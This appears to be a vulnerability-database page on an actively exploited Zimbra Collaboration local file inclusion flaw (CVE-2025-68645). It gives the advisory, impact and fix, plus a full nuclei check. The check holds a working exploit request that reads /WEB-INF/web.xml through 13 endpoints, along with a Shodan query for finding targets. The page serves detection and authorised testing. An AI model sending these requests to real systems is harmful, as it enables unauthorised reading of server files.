Zimbra Collaboration - Local File Inclusion

Exploited in the wild. Listed by CISA on 2026-01-22; known to be used by ransomware.

highseverity

50.6%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Zimbra Collaboration (ZCS) 10.0 and 10.1 contain a local file inclusion caused by improper handling of user-supplied parameters in the RestFilter servlet, letting unauthenticated remote attackers include arbitrary files from WebRoot, exploit requires crafted requests to /h/rest endpoint.

Impact

Unauthenticated remote attackers can include arbitrary files from the WebRoot directory, potentially exposing sensitive information.

Fix

Update to the latest version of Zimbra Collaboration.

How to confirm it

Send: GET {{BaseURL}}/{{path}}?javax.servlet.include.servlet_path=/WEB-INF/web.xml
Positive when: contains "<?xml version" and "web-app>" and "Zimbra" AND status 200

Run it with nuclei: nuclei -id CVE-2025-68645 -u <target>

The full check

id: CVE-2025-68645

info:
  name: Zimbra Collaboration - Local File Inclusion
  author: DhiyaneshDk,sirifu4k1
  severity: high
  description: |
    Zimbra Collaboration (ZCS) 10.0 and 10.1 contain a local file inclusion caused by improper handling of user-supplied parameters in the RestFilter servlet, letting unauthenticated remote attackers include arbitrary files from WebRoot, exploit requires crafted requests to /h/rest endpoint.
  impact: |
    Unauthenticated remote attackers can include arbitrary files from the WebRoot directory, potentially exposing sensitive information.
  remediation: |
    Update to the latest version of Zimbra Collaboration.
  reference:
    - https://x.com/sirifu4k1/status/2006031417088639064
    - https://x.com/sirifu4k1/status/2007279822050078906?s=12&amp;t=ovaWmJElNlGyzadE74ZOgQ
    - https://nvd.nist.gov/vuln/detail/CVE-2025-68645
  metadata:
    max-request: 13
    verified: true
    shodan-query: http.title:"Zimbra Collaboration Suite"
  tags: cve,cve2025,zimbra,zcs,lfi,vkev,kev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{path}}?javax.servlet.include.servlet_path=/WEB-INF/web.xml"

    payloads:
      path:
        - "h/rest"
        - "h/changepass"
        - "h/imessage"
        - "h/postLoginRedirect"
        - "h/printcalls"
        - "h/printcalendar"
        - "h/printvoicemails"
        - "h/printappointments"
        - "h/printcontacts"
        - "h/printconversations"
        - "h/printmessage"
        - "h/printtasks"
        - "h/viewimages"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<?xml version"
          - "web-app>"
          - "Zimbra"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from